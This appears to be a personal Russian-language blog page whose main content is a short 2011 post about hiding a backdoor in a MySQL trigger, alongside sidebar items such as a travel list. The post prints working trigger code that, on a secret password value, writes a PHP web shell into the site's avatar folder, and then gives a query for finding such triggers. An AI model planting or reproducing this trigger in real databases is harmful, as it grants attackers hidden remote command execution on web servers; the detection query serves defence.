Ядоблог

Stay upwind

Fun

Instagram

Unable to communicate with Instagram.
Чтобы выделятся из серой массы, не обязательно красить волосы в красный цвет и носить кольцо в носу. Достаточно просто не быть мудаком.

Travels

2011 Тайланд, Паттайя.
2012 Тайланд, Пхукет.
2014 Вьетнам, Ня-Чанг.
2015 Тайланд, Пхукет.
2016 Азия.
2017 Азия.
2018 Азия.
2019 Азия.

Ссылки

airbnb

Рубрики

Архив ‘PHP’ Категории

Бэкдор с триггерах субд О_о

29 августа, 2011 | 2 комментария

ацкая штука:

delimiter |
CREATE TRIGGER backdoor AFTER UPDATE ON users
FOR EACH ROW label:BEGIN
IF (SELECT password FROM users WHERE id=123)='gimme_that_shell' THEN
SELECT '<?=`$c`?>' INTO OUTFILE '/home/site/httpdocs/avators/smile.php';
ELSE
LEAVE label;
END IF;
END;

Срочно делайте:

SELECT * FROM information_schema.TRIGGERS

=)

подробнее http://raz0r.name/mysli/backdoor-in-trigger/

MySQL, PHP, Безопасность IAD